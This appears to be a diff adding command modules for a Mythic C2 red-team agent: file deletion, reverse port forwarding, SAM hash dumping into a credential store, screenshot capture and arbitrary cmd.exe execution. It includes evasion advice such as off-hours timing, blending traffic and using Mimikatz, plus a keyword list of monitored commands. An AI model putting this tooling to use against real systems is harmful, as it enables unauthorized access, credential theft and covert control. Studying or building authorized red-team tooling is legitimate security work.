OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
path = taskData.args.get_arg("path") or ""
message = "⚠️ OPSEC POST-CHECK - File Deletion Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • File Deletion: DeleteFile/RemoveDirectory API calls\n"
message += " • File Access: File system operations\n"
message += " • File Deletion Logs: Event logs (if auditing enabled)\n\n"
if path:
message += f"Target Path: {path}\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR file deletion monitoring\n"
message += " • File access auditing (if enabled)\n"
message += " • System integrity monitoring\n"
message += " • File deletion event logging\n\n"
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
message += " • Target is a system file or directory\n"
message += " • File deletion auditing is enabled\n"
message += " • System integrity monitoring is active\n"
message += " • Multiple files are deleted rapidly\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
# Check if removal was successful by checking user_output
if response:
user_output = response.get("user_output", "")
# If output doesn't contain error indicators, assume success
if user_output and not any(err in user_output.lower() for err in ["error", "failed", "cannot", "cannot"]):
# Get the path that was deleted
path = task.args.get_arg("path")
if path:
# Get hostname
host = task.Callback.Host if task.Callback else ""
# Add removed_files array to response (merge with existing response)
resp.ProcessResponse = response if isinstance(response, dict) else {}
resp.ProcessResponse["removed_files"] = [
{
"host": host,
"path": path
}
]
return resp
@@ -0,0 +1,269 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import (
SendMythicRPCProxyStartCommand,
MythicRPCProxyStartMessage,
SendMythicRPCProxyStopCommand,
MythicRPCProxyStopMessage,
CALLBACK_PORT_TYPE_RPORTFWD
)
import json
import logging
logging.basicConfig(level=logging.INFO)
class RpfwdArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="action",
type=ParameterType.ChooseOne,
description="Acción a realizar (start/stop)",
choices=["start", "stop"],
default_value="start",
parameter_group_info=[ParameterGroupInfo(required=True, ui_position=1)]
),
CommandParameter(
name="port",
type=ParameterType.Number,
description="Puerto local del agente donde escuchar (solo para start)",
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=2)]
),
CommandParameter(
name="remote_host",
type=ParameterType.String,
description="IP o hostname remoto al que Mythic debe conectar (solo para start)",
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=3)]
),
CommandParameter(
name="remote_port",
type=ParameterType.Number,
description="Puerto remoto al que Mythic debe conectar (solo para start)",
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=4)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Debe especificar 'start' o 'stop'.")
parts = self.command_line.strip().split()
action = parts[0].lower()
if action not in ["start", "stop"]:
raise ValueError("Acción debe ser 'start' o 'stop'.")
# Parsear puerto local (opcional)
local_port = int(parts[1]) if len(parts) > 1 else 8080
self.add_arg("port", local_port)
# Parsear host remoto y puerto (opcionales)
remote_host = parts[2] if len(parts) > 2 else "127.0.0.1"
remote_port = int(parts[3]) if len(parts) > 3 else 80
self.add_arg("remote_host", remote_host)
self.add_arg("remote_port", remote_port)
self.add_arg("action", action)
async def parse_dictionary(self, dictionary_arguments):
action = dictionary_arguments.get("action", "start")
# Valores por defecto
if "port" not in dictionary_arguments:
dictionary_arguments["port"] = 8080
if "remote_host" not in dictionary_arguments:
dictionary_arguments["remote_host"] = "127.0.0.1"
if "remote_port" not in dictionary_arguments:
dictionary_arguments["remote_port"] = 80
self.load_args_from_dictionary(dictionary_arguments)
class RpfwdCommand(CommandBase):
cmd = "rpfwd"
needs_admin = False
help_cmd = "rpfwd start [local_port] [remote_host] [remote_port] / rpfwd stop"
description = "Start or stop reverse port forwarding (RPFWD). When started, the agent listens on a local port on the target system. Connections to this local port are forwarded through the agent to Mythic, which then connects to a remote destination (remote_host:remote_port). Default local port: 8080. Useful for accessing services on the target network that are not directly reachable from Mythic (e.g., internal services, databases, management interfaces). WARNING: Reverse port forwarding creates persistent network connections and may be detected by network monitoring, firewall logging, NIDS, and EDR/XDR network monitoring. Avoid using privileged ports (<1024) which require elevated privileges."
version = 1
author = "OFSTeam"
argument_class = RpfwdArguments
attackmapping = []
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about reverse port forwarding risks.
"""
action = taskData.args.get_arg("action") or "start"
local_port = taskData.args.get_arg("port") or 8080
remote_host = taskData.args.get_arg("remote_host") or "127.0.0.1"
remote_port = taskData.args.get_arg("remote_port") or 80
if action == "stop":
# Stop action is low risk
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False,
OpsecPreBypassRole="operator",
OpsecPreMessage="Stopping reverse port forwarding - low OPSEC risk."
)
message = "⚠️ OPSEC WARNING - Reverse Port Forwarding Detected\n\n"
message += "Reverse port forwarding is monitored by:\n"
message += " • Network monitoring tools\n"
message += " • Firewall logging\n"
message += " • Network intrusion detection systems (NIDS)\n"
message += " • EDR/XDR network monitoring\n"
message += " • Network flow analysis tools\n\n"
message += f"Configuration:\n"
message += f" • Local Port (Agent): {local_port}\n"
message += f" • Remote Host: {remote_host}\n"
message += f" • Remote Port: {remote_port}\n\n"
# Check for privileged ports
if local_port < 1024:
message += "⚠️ WARNING: Privileged port (<1024) requires administrator privileges!\n"
message += "This may trigger additional security alerts.\n\n"
message += "🔍 DETECTION MECHANISMS:\n"
message += " • Network connection monitoring\n"
message += " • Port binding detection\n"
message += " • Suspicious network patterns\n"
message += " • Connection to non-standard ports\n\n"
message += "💡 RECOMMENDATIONS:\n"
message += " • Use non-standard ports (avoid 80, 443, 22, 3389)\n"
message += " • Use ports commonly used by legitimate software\n"
message += " • Network traffic may be logged\n"
message += " • Firewall rules may block the connection\n\n"
message += "⚠️ DETECTION RISK: MODERATE\n"
message += "Network activity is visible but may blend in with normal traffic if configured properly.\n\n"
message += "✅ This is a WARNING only - command will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False,
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
action = taskData.args.get_arg("action") or "start"
if action == "stop":
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage="Stopping reverse port forwarding - no additional artifacts."
)
local_port = taskData.args.get_arg("port") or 8080
remote_host = taskData.args.get_arg("remote_host") or "127.0.0.1"
remote_port = taskData.args.get_arg("remote_port") or 80
message = "⚠️ OPSEC POST-CHECK - Reverse Port Forwarding Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Network Connection: Listener on agent port\n"
message += " • Port Binding: Socket bind on local port\n"
message += " • Network Activity: Connection forwarding\n"
message += " • Process Network Activity: Agent network connections\n\n"
message += f"Configuration:\n"
message += f" • Local Port: {local_port}\n"
message += f" • Remote: {remote_host}:{remote_port}\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • Network monitoring tools\n"
message += " • Firewall logging\n"
message += " • NIDS/NIPS systems\n"
message += " • Network flow analysis\n\n"
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
message += " • Using well-known ports (80, 443, 22, etc.)\n"
message += " • Network traffic is heavily monitored\n"
message += " • Firewall rules are strict\n"
message += " • Using privileged ports (<1024)\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
action = task.args.get_arg("action")
if action == "start":
local_port = task.args.get_arg("port")
remote_host = task.args.get_arg("remote_host")
remote_port = task.args.get_arg("remote_port")
task.display_params = f"{action.upper()} (local:{local_port} -> {remote_host}:{remote_port})"
else:
task.display_params = "STOP"
return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
action = taskData.args.get_arg("action")
local_port = taskData.args.get_arg("port") if taskData.args.get_arg("port") else 8080
try:
if action == "start":
remote_host = taskData.args.get_arg("remote_host") or "127.0.0.1"
remote_port = taskData.args.get_arg("remote_port") or 80
# Warn if using a privileged port on Windows (may require admin)
if local_port < 1024:
logging.warning(f"Warning: Port {local_port} is privileged (<1024) and may require administrator privileges on Windows")
logging.warning(f"Consider using a non-privileged port (>=1024) like 8080, 4444, or 5555")
# Register RPFWD with Mythic - Mythic will automatically send start_rpfwd command to agent
resp = await SendMythicRPCProxyStartCommand(MythicRPCProxyStartMessage(
TaskID=taskData.Task.ID,
LocalPort=local_port,
RemoteIP=remote_host,
RemotePort=remote_port,
PortType=CALLBACK_PORT_TYPE_RPORTFWD
))
logging.info(f"RPFWD registered with Mythic: local port {local_port} on agent -> {remote_host}:{remote_port}")
logging.info(f"To test: Connect to port {local_port} on the AGENT host (not Mythic server)")
if not resp.Success:
response.Success = False
response.Error = resp.Error
elif action == "stop":
# Unregister RPFWD with Mythic - Mythic will automatically send stop_rpfwd command to agent
resp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage(
TaskID=taskData.Task.ID,
Port=local_port,
PortType=CALLBACK_PORT_TYPE_RPORTFWD
))
logging.info(f"RPFWD unregistered from Mythic: {resp}")
if not resp.Success:
response.Success = False
response.Error = resp.Error
except Exception as e:
logging.error(f"Error en RPFWD RPC: {e}")
response.Success = False
response.Error = str(e)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,346 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
import re
import asyncio
class SamDumpArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="method",
cli_name="method",
display_name="Dump Method",
type=ParameterType.ChooseOne,
choices=["registry", "files", "remote"],
default_value="registry",
description="Method to use for SAM dump: registry (default, local registry), files (from SAM/SYSTEM files), or remote (remote system)",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="Default",
ui_position=1
)
]
),
CommandParameter(
name="sam_path",
cli_name="sam_path",
display_name="SAM File Path",
type=ParameterType.String,
description="Path to SAM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SAM",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=2
)
]
),
CommandParameter(
name="system_path",
cli_name="system_path",
display_name="SYSTEM File Path",
type=ParameterType.String,
description="Path to SYSTEM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SYSTEM",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=3
)
]
),
CommandParameter(
name="remote_host",
cli_name="remote_host",
display_name="Remote Host",
type=ParameterType.String,
description="Remote system hostname or IP address (required when method=remote)",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=4
)
]
),
CommandParameter(
name="impersonate",
cli_name="impersonate",
display_name="Impersonate User",
type=ParameterType.Boolean,
default_value=False,
description="Whether to impersonate a user before dumping (for remote access). Only used when method=remote",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=5
)
]
),
CommandParameter(
name="username",
cli_name="username",
display_name="Username",
type=ParameterType.String,
description="Username for impersonation (required if impersonate=true and method=remote)",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=6
)
]
),
CommandParameter(
name="password",
cli_name="password",
display_name="Password",
type=ParameterType.String,
description="Password for impersonation (required if impersonate=true and method=remote)",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=7
)
]
),
]
async def parse_arguments(self):
# Parse command line arguments if provided
if len(self.command_line) > 0:
# Check if command_line is JSON
if self.command_line.strip().startswith('{'):
try:
json_args = json.loads(self.command_line)
# Load from JSON dictionary
self.load_args_from_dictionary(json_args)
return
except json.JSONDecodeError:
# Not valid JSON, try parsing as space-separated arguments
pass
# Parse as space-separated arguments
parts = self.command_line.split()
if len(parts) > 0:
method = parts[0].lower()
if method in ["registry", "files", "remote"]:
self.add_arg("method", method)
else:
raise ValueError(f"Invalid method: {method}. Must be 'registry', 'files', or 'remote'")
# Parse additional arguments based on method
if method == "files" and len(parts) >= 3:
self.add_arg("sam_path", parts[1])
self.add_arg("system_path", parts[2])
elif method == "remote" and len(parts) >= 2:
self.add_arg("remote_host", parts[1])
if len(parts) >= 4:
self.add_arg("impersonate", True)
self.add_arg("username", parts[2])
self.add_arg("password", parts[3])
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
# Validate required parameters based on method
method = self.get_arg("method") or "registry"
# For "files" method, both paths are required
if method == "files":
if not self.get_arg("sam_path"):
raise ValueError("sam_path is required when method=files")
if not self.get_arg("system_path"):
raise ValueError("system_path is required when method=files")
# For "remote" method, remote_host is required
if method == "remote":
if not self.get_arg("remote_host"):
raise ValueError("remote_host is required when method=remote")
# username and password are optional - only needed if impersonate=true
if self.get_arg("impersonate"):
if not self.get_arg("username") or not self.get_arg("password"):
raise ValueError("username and password are required when impersonate=true")
class SamDumpCommand(CommandBase):
cmd = "samdump"
needs_admin = True # Requires SYSTEM privileges to access SAM
help_cmd = "samdump"
description = "Dump local account password hashes from the Security Account Manager (SAM) database. Extracts NTLM hashes for all local users. Requires SYSTEM privileges. Automatically reports extracted hashes to Mythic's credential store. HIGH OPSEC RISK: Accessing the SAM database is heavily monitored by EDR/XDR solutions and is a primary indicator of credential theft attacks."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1003.002", "T1003.001"]
argument_class = SamDumpArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
SAM database access is highly detectable.
"""
message = "🚨 HIGH OPSEC RISK - SAM Database Access\n\n"
message += "This command will:\n"
message += " • Access the Security Account Manager (SAM) database\n"
message += " • Read encrypted password hashes (NTLM)\n"
message += " • Extract hashes for all local user accounts\n"
message += " • Report extracted hashes to Mythic's credential store\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR solutions monitor SAM database access\n"
message += " • Registry access to HKEY_LOCAL_MACHINE\\SAM triggers alerts\n"
message += " • Credential theft detection rules (MITRE T1003.002)\n"
message += " • Behavioral analysis detects credential extraction patterns\n"
message += " • Security tools flag SAM access as high-priority indicator\n\n"
message += "⚠️ HIGH DETECTION PROBABILITY:\n"
message += " • SAM access is a primary indicator of attack\n"
message += " • Many security tools have specific rules for this activity\n"
message += " • Registry access patterns are logged and monitored\n"
message += " • Detection is likely within minutes\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • Requires SYSTEM privileges (use steal_token on SYSTEM process)\n"
message += " • This activity is commonly detected within minutes\n"
message += " • Consider timing (off-hours may reduce detection)\n"
message += " • Ensure you have proper authorization\n"
message += " • Alternative: Use Mimikatz or other tools via inline_execute_assembly\n\n"
message += "✅ This command requires approval from another operator."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=True, # Block by default
OpsecPreBypassRole="other_operator", # Requires another operator to approve
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
message = "🚨 OPSEC POST-CHECK - SAM Database Access Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Registry Read: HKEY_LOCAL_MACHINE\\SAM access\n"
message += " • Registry Read: HKEY_LOCAL_MACHINE\\SYSTEM access (for boot key)\n"
message += " • Credential Access: SAM database enumeration\n"
message += " • Credential Extraction: NTLM hashes reported to Mythic\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR registry access monitoring\n"
message += " • Credential theft detection rules (MITRE T1003.002)\n"
message += " • Behavioral analysis (credential extraction patterns)\n"
message += " • Registry access auditing (if enabled)\n\n"
message += "⚠️ CRITICAL DETECTION PROBABILITY:\n"
message += " • SAM access is heavily monitored\n"
message += " • Detection is likely within minutes\n"
message += " • Multiple security layers may trigger alerts\n\n"
message += "✅ This is a FINAL WARNING - task will proceed if approved.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False, # Don't block, just warn
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
method = taskData.args.get_arg("method") or "registry"
display_params = f"Dumping SAM database via {method}"
if method == "files":
sam_path = taskData.args.get_arg("sam_path")
system_path = taskData.args.get_arg("system_path")
display_params += f" (SAM: {sam_path}, SYSTEM: {system_path})"
elif method == "remote":
remote_host = taskData.args.get_arg("remote_host")
display_params += f" (Remote: {remote_host})"
if taskData.args.get_arg("impersonate"):
username = taskData.args.get_arg("username")
display_params += f" (Impersonating: {username})"
response.DisplayParams = display_params
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
"""
Process response from agent.
The response contains SAM dump output with NTLM hashes.
Extract hashes and report them to Mythic's credential store.
"""
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
if not response:
return resp
# Parse the response to extract NTLM hashes
response_text = str(response)
# Pattern to match NTLM hashes: username:RID:LM:NTLM
# Format: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hash_pattern = r'([^:]+):(\d+):([a-fA-F0-9]{32}|):([a-fA-F0-9]{32}|):'
hashes_found = []
for match in re.finditer(hash_pattern, response_text):
username = match.group(1).strip()
rid = match.group(2)
lm_hash = match.group(3) if match.group(3) else None
ntlm_hash = match.group(4) if match.group(4) else None
# Only report if we have at least one hash
if ntlm_hash and ntlm_hash != "aad3b435b51404eeaad3b435b51404ee": # Empty hash
hashes_found.append({
"username": username,
"rid": rid,
"lm_hash": lm_hash if lm_hash and lm_hash != "aad3b435b51404eeaad3b435b51404ee" else None,
"ntlm_hash": ntlm_hash
})
# Report credentials to Mythic
for hash_data in hashes_found:
try:
# Format: username:rid:lm_hash:ntlm_hash
credential_string = f"{hash_data['username']}:{hash_data['rid']}:"
if hash_data['lm_hash']:
credential_string += f"{hash_data['lm_hash']}:"
else:
credential_string += ":"
credential_string += f"{hash_data['ntlm_hash']}"
# Create credential in Mythic
await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage(
TaskID=task.Task.ID,
Credentials=[
MythicRPCCredentialCreateData(
account=hash_data['username'],
realm="", # Local account, no domain
credential=credential_string,
credential_type="hash", # NTLM hash
metadata=f"RID: {hash_data['rid']}, LM Hash: {hash_data['lm_hash'] if hash_data['lm_hash'] else 'N/A'}"
)
]
))
except Exception as e:
# Log error but continue processing other hashes
pass
return resp
@@ -0,0 +1,115 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
class ScreenshotArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
# Screenshot command takes no arguments
pass
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class ScreenshotCommand(CommandBase):
cmd = "screenshot"
needs_admin = False
help_cmd = "screenshot"
description = "Capture a screenshot of the primary desktop display and upload it to the Mythic server. Uses Windows GDI API (BitBlt) to capture the screen content. The screenshot is automatically uploaded as a file to Mythic for viewing. Requires an active interactive desktop session. May be detected by screen capture detection mechanisms, behavioral analysis, and data loss prevention (DLP) systems. Large screenshots may trigger network monitoring alerts."
version = 1
author = "@KaseyaOFSTeam"
argument_class = ScreenshotArguments
attackmapping = ["T1113"]
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about screenshot capture risks.
"""
message = "⚠️ OPSEC WARNING - Screenshot Capture Detected\n\n"
message += "Screenshot capture is monitored by:\n"
message += " • EDR/XDR solutions (behavioral detection)\n"
message += " • Screen capture detection mechanisms\n"
message += " • Data loss prevention (DLP) systems\n"
message += " • User activity monitoring tools\n\n"
message += "🔍 DETECTION MECHANISMS:\n"
message += " • BitBlt/GDI screen capture API calls\n"
message += " • PrintWindow API calls\n"
message += " • Suspicious screen capture patterns\n"
message += " • Large data uploads (screenshot files)\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • Screenshots may be large and trigger network alerts\n"
message += " • Multiple screenshots may be suspicious\n"
message += " • Screen capture events may be logged\n"
message += " • Sensitive data in screenshots may trigger DLP alerts\n\n"
message += "⚠️ DETECTION RISK: MODERATE\n"
message += "Usually not immediately detected, but may be flagged by behavioral analysis over time.\n\n"
message += "✅ This is a WARNING only - command will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False, # Moderate risk, don't block
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
message = "⚠️ OPSEC POST-CHECK - Screenshot Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Screen Capture: BitBlt/PrintWindow API calls\n"
message += " • File Upload: Screenshot image file transmission\n"
message += " • Network Activity: Image data transfer\n"
message += " • Memory Artifacts: Screenshot data in memory\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR behavioral detection\n"
message += " • Network monitoring tools (large file uploads)\n"
message += " • DLP systems (sensitive data capture)\n"
message += " • User activity monitoring\n\n"
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
message += " • Multiple screenshots are taken rapidly\n"
message += " • Screenshots contain sensitive data\n"
message += " • Network traffic is monitored\n"
message += " • Behavioral analysis is aggressive\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
response.DisplayParams = "Capture screenshot"
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,153 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
class ShellArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="command",
type=ParameterType.String,
description="Comando a ejecutar",
parameter_group_info=[ParameterGroupInfo(
required=True
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Se debe indicar un comando")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class ShellCommand(CommandBase):
cmd = "shell"
needs_admin = False
help_cmd = "shell <command>"
description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Angerona commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1059"]
argument_class = ShellArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about dangerous commands that are highly detectable.
"""
command = (taskData.args.get_arg("command") or "").lower()
# Highly detectable commands
dangerous_commands = {
"powershell": "PowerShell execution is heavily monitored by EDR/XDR",
"pwsh": "PowerShell Core execution is heavily monitored",
"wmic": "WMI queries are logged and monitored",
"net.exe": "Network enumeration commands trigger alerts",
"nslookup": "DNS queries may be monitored",
"systeminfo": "System information gathering is logged",
"whoami": "Identity queries are logged",
"tasklist": "Process enumeration is monitored",
"netstat": "Network connection enumeration triggers alerts",
"ipconfig": "Network configuration queries are logged",
}
blocked = False
warnings = []
for dangerous_cmd, reason in dangerous_commands.items():
if dangerous_cmd in command:
warnings.append(f"⚠️ {dangerous_cmd}: {reason}")
blocked = True
# Check for cmd.exe spawning (always present in shell command)
warnings.append("⚠️ cmd.exe spawn: This command spawns cmd.exe which is highly detectable by EDR/XDR")
message = "⚠️ HIGH OPSEC RISK - Shell Command Detected\n\n"
message += "This command will spawn cmd.exe which is heavily monitored.\n\n"
if warnings:
message += "Additional risks detected:\n"
for warning in warnings:
message += f"{warning}\n"
message += "\n"
message += "Consider using built-in Angerona commands instead:\n"
message += " • Use 'ps' instead of 'tasklist'\n"
message += " • Use 'ls' instead of 'dir'\n"
message += " • Use 'cat' instead of 'type'\n"
message += " • Use 'whoami' command instead of 'whoami.exe'\n\n"
message += "If you must proceed, ensure you understand the detection risks."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=blocked,
OpsecPreBypassRole="other_operator", # Requires another operator to approve
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
command = taskData.args.get_arg("command") or ""
message = "⚠️ OPSEC POST-CHECK - Shell Command Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Process Create: cmd.exe spawned\n"
message += " • Command Line: The executed command will be logged\n"
message += " • Network Activity: If command makes network connections\n\n"
message += "These artifacts may be detected by:\n"
message += " • EDR/XDR solutions\n"
message += " • SIEM systems\n"
message += " • Process monitoring tools\n"
message += " • Command line auditing\n\n"
message += "Ensure you understand the detection risks before proceeding."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False, # Don't block, just warn
OpsecPostBypassRole="operator", # Any operator can bypass
OpsecPostMessage=message
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = task.args.get_arg("command")
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
"""
Process response from agent and add artifacts for Process Create.
According to Mythic documentation:
https://docs.mythic-c2.net/customizing/hooking-features/artifacts
Artifacts should be added to the response JSON with an 'artifacts' array.
However, the current Mythic API doesn't allow commands to directly modify
the translator's JSON response. Instead, we could:
1. Use MythicRPC to create artifacts after the response (current limitation)
2. Modify the agent to send command context in responses
3. Have the translator detect shell commands automatically
For now, artifacts are prepared in the translator but need command context.
"""
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
# TODO: Add artifacts via MythicRPC or modify translator to detect shell commands
# command = task.args.get_arg("command")
# if command:
# # Could use MythicRPC CreateArtifact here if available
return resp

Some files were not shown because too many files have changed in this diff Show More